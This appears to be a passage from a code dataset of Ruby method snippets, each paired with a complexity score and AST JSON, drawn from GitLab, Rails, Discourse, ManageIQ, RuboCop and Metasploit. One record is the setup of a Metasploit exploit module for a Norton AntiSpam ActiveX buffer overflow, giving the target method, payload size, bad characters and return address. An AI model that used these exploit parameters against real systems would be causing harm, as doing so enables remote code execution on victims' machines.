refute(@record.fetch_item.readonly?)\n end\n end\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returned_record_with_open_transactions_should_not_be_readonly\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"with_fetch_read_only_records\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"should_use_cache?\"]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_item\"]},\"readonly?\"]}]}]}]}]}]}","id":"228e8392-e4ae-49bc-9f05-0d3fefc92c49"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/nis2004_antispam.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow in Norton AntiSpam 2004. When\n sending an overly long string to the LaunchCustomRuleWizard() method\n of symspam.dll (2004.1.0.147) an attacker may be able to execute\n arbitrary code.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'MC' ],\n 'References' => [\n [ 'CVE', '2004-0363' ],\n [ 'OSVDB', '6249' ],\n [ 'BID', '9916' ],\n ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'process',\n },\n 'Payload' => {\n 'Space' => 1024,\n 'BadChars' => \"\\x00\",\n },\n 'Platform' => 'win',\n 'Targets' => [\n [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]\n ],\n 'DisclosureDate' => '2004-03-19',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a stack buffer overflow in Norton AntiSpam 2004. When\\n\"]},{\"type\":\"str\",\"children\":[\" sending an overly long string to the LaunchCustomRuleWizard() method\\n\"]},{\"type\":\"str\",\"children\":[\" of symspam.dll (2004.1.0.147) an attacker may be able to execute\\n\"]},{\"type\":\"str\",\"children\":[\" arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2004-0363\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"6249\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"9916\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[168430090]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2004-03-19\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"995c139e-486f-4672-a74e-0d27bb1cae8c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/registry.rb","start_line":683,"raw_source":"def normalize_key(key)\n keys = split_key(key)\n if (keys[0] =~ /HKLM|HKEY_LOCAL_MACHINE/)\n keys[0] = 'HKEY_LOCAL_MACHINE'\n elsif (keys[0] =~ /HKCU|HKEY_CURRENT_USER/)\n keys[0] = 'HKEY_CURRENT_USER'\n elsif (keys[0] =~ /HKU|HKEY_USERS/)\n keys[0] = 'HKEY_USERS'\n elsif (keys[0] =~ /HKCR|HKEY_CLASSES_ROOT/)\n keys[0] = 'HKEY_CLASSES_ROOT'\n elsif (keys[0] =~ /HKCC|HKEY_CURRENT_CONFIG/)\n keys[0] = 'HKEY_CURRENT_CONFIG'\n elsif (keys[0] =~ /HKPD|HKEY_PERFORMANCE_DATA/)\n keys[0] = 'HKEY_PERFORMANCE_DATA'\n elsif (keys[0] =~ /HKDD|HKEY_DYN_DATA/)\n keys[0] = 'HKEY_DYN_DATA'\n else\n raise ArgumentError, \"Cannot normalize unknown key: #{key}\"\n end\n # print_status(\"Normalized #{key} to #{keys.join(\"\\\\\")}\")\n return keys.compact.join(\"\\\\\")\n end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[null,\"split_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKLM|HKEY_LOCAL_MACHINE\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_LOCAL_MACHINE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKCU|HKEY_CURRENT_USER\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_CURRENT_USER\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKU|HKEY_USERS\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_USERS\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKCR|HKEY_CLASSES_ROOT\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_CLASSES_ROOT\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKCC|HKEY_CURRENT_CONFIG\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_CURRENT_CONFIG\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKPD|HKEY_PERFORMANCE_DATA\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_PERFORMANCE_DATA\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HKDD|HKEY_DYN_DATA\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"HKEY_DYN_DATA\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot normalize unknown key: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]}]}]}","id":"158da86c-0b87-48ae-b609-12f2955f0b95"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse.rb","start_line":805,"raw_source":"def self.recently_readonly?\n redis_read_only = redis_last_read_only[Discourse.redis.namespace]\n\n (redis_read_only.present? && redis_read_only > 15.seconds.ago) || postgres_recently_readonly?\n end","complexity_score":14.85,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"recently_readonly?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redis_read_only\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_last_read_only\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"namespace\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_read_only\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_read_only\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"seconds\"]},\"ago\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"postgres_recently_readonly?\"]}]}]}]}","id":"7d621209-37bf-4795-8525-b4e4f6fbdf6a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/adapter.rb","start_line":112,"raw_source":"def user_filter(filter = nil)\n user_filter = config.constructed_user_filter if config.user_filter.present?\n\n if user_filter && filter\n Net::LDAP::Filter.join(filter, user_filter)\n elsif user_filter\n user_filter\n else\n filter\n end\n end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"user_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"filter\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"user_filter\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"user_filter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"constructed_user_filter\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Filter\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"user_filter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_filter\"]},{\"type\":\"lvar\",\"children\":[\"user_filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}]}","id":"61776493-87fc-45a6-9060-4617f679139c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250825000002_add_fk_workspaces_oauth_application.rb","start_line":18,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :application_settings, column: :workspaces_oauth_application_id\n end\n remove_concurrent_index_by_name :application_settings, INDEX_NAME\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"workspaces_oauth_application_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"18100a07-98e9-4c89-9c91-d33faff80733"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow.rb","start_line":879,"raw_source":"def ws_hardware_network_fields(values, data)\n parse_ws_hardware_fields(:networks, /^network(\\d{1,2})$/, values, data) { |n, v, _i| n[:network] = v }\n\n # Check and remove invalid networks specifications\n values[:networks].delete_if do |d|\n result = d[:network].blank?\n _log.warn(\"Skipping network due to blank name: <#{d.inspect}>\") if result == true\n result\n end if values[:networks].present?\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ws_hardware_network_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_ws_hardware_fields\",{\"type\":\"sym\",\"children\":[\"networks\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^network(\\\\d{1,2})$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]},{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"network\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"networks\"]}]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"networks\"]}]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"network\"]}]},\"blank?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping network due to blank name: <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]}]}]}","id":"59bf8227-f469-4cfd-9954-3cfb03cce7d7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb","start_line":245,"raw_source":"def add_index_length(quoted_columns, **options)\n lengths = options_for_index_columns(options[:length])\n quoted_columns.each do |name, column|\n column << \"(#{lengths[name]})\" if lengths[name].present?\n end\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_index_length\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quoted_columns\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lengths\",{\"type\":\"send\",\"children\":[null,\"options_for_index_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"length\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lengths\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lengths\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]}]}]}]}","id":"60d8a196-4641-4f1d-981e-e28ed35efd23"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/work_items_helper.rb","start_line":74,"raw_source":"def issues_path_for(resource_parent)\n resource_parent.is_a?(Group) ? issues_group_path(resource_parent) : project_issues_path(resource_parent)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issues_path_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"send\",\"children\":[null,\"issues_group_path\",{\"type\":\"lvar\",\"children\":[\"resource_parent\"]}]},{\"type\":\"send\",\"children\":[null,\"project_issues_path\",{\"type\":\"lvar\",\"children\":[\"resource_parent\"]}]}]}]}","id":"b197b219-f311-4643-b46f-8c1ba4348826"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web/path.rb","start_line":108,"raw_source":"def permutations\n return [] if empty?\n fuzzer.seeds_for( altered_value ).map { |seed| permutation_for( nil, seed ) }.uniq\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"permutations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fuzzer\"]},\"seeds_for\",{\"type\":\"send\",\"children\":[null,\"altered_value\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"send\",\"children\":[null,\"permutation_for\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"seed\"]}]}]},\"uniq\"]}]}]}","id":"90ddb770-c6a1-49b0-b894-7e015c7ae34b"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/guard_clause.rb","start_line":280,"raw_source":"def trivial?(node)\n return false unless node.if_branch\n\n node.branches.one? && !node.if_branch.if_type? && !node.if_branch.begin_type?\n end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"trivial?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"branches\"]},\"one?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},\"if_type?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},\"begin_type?\"]},\"!\"]}]}]}]}","id":"c1e07b62-2f3b-4823-9c48-cf11cf2c2107"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/mcp/handlers/call_tool.rb","start_line":12,"raw_source":"def invoke(request, params, current_user = nil)\n name = params[:name]\n\n begin\n tool = manager.get_tool(name: name)\n rescue ::Mcp::Tools::Manager::ToolNotFoundError => e\n raise ArgumentError, e.message\n end\n\n tool.set_cred(current_user: current_user) if tool.is_a?(::Mcp::Tools::CustomService)\n\n tool.execute(request: request, params: params)\n end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manager\"]},\"get_tool\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mcp\"]},\"Tools\"]},\"Manager\"]},\"ToolNotFoundError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mcp\"]},\"Tools\"]},\"CustomService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"set_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"7cb24a9d-ab0b-48e7-8c17-5a4ce5b26855"} 